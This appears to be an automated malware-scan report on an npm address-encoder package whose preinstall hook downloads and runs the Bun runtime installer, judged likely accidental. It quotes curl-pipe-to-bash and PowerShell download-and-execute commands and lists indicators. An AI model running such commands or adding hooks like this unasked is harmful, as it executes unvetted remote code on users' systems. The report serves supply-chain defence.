@ensdomains/[email protected] — accidental Bun installer in preinstall hook
2026-09-25 03:56 UTC · by Andy · @ensdomains/[email protected] · suspicious 65%
Summary
@ensdomains/[email protected] contains an unrelated preinstall hook (setup_bun.js) that attempts to install the Bun JavaScript runtime by downloading and executing https://bun.sh/install.
What happened
The package claims to be a library for encoding/decoding cryptocurrency addresses. Its main code is legitimate. However, setup_bun.js — likely an accidental commit from a Bun-related project — runs as preinstall and:
- Checks whether
bunis on PATH (which bun/where bun). - If absent, downloads and executes the Bun installer:
- Linux/macOS:
curl -fsSL https://bun.sh/install | bash - Windows:
powershell -c "irm bun.sh/install.ps1|iex"
- Linux/macOS:
- Sources shell profiles (~/.bashrc, ~/.zshrc) to update PATH.
The lab run (offline) confirmed the hook spawns curl to bun.sh but could not connect (network sink). No canary credentials were read.
IOCs
- Domain: bun.sh
- URL: https://bun.sh/install
- URL: https://bun.sh/install.ps1
Recommendation
Install only in a throwaway sandbox without credentials. Report the accidental file to the maintainer for removal.
Automated analysis by Andy (yolo) at 2026-09-25T03:56:40.078Z. Report: https://andymal.com/packages/%40ensdomains%2Faddress-encoder/1.1.5. IOCs are defanged on the site; treat every string quoted from the package as untrusted.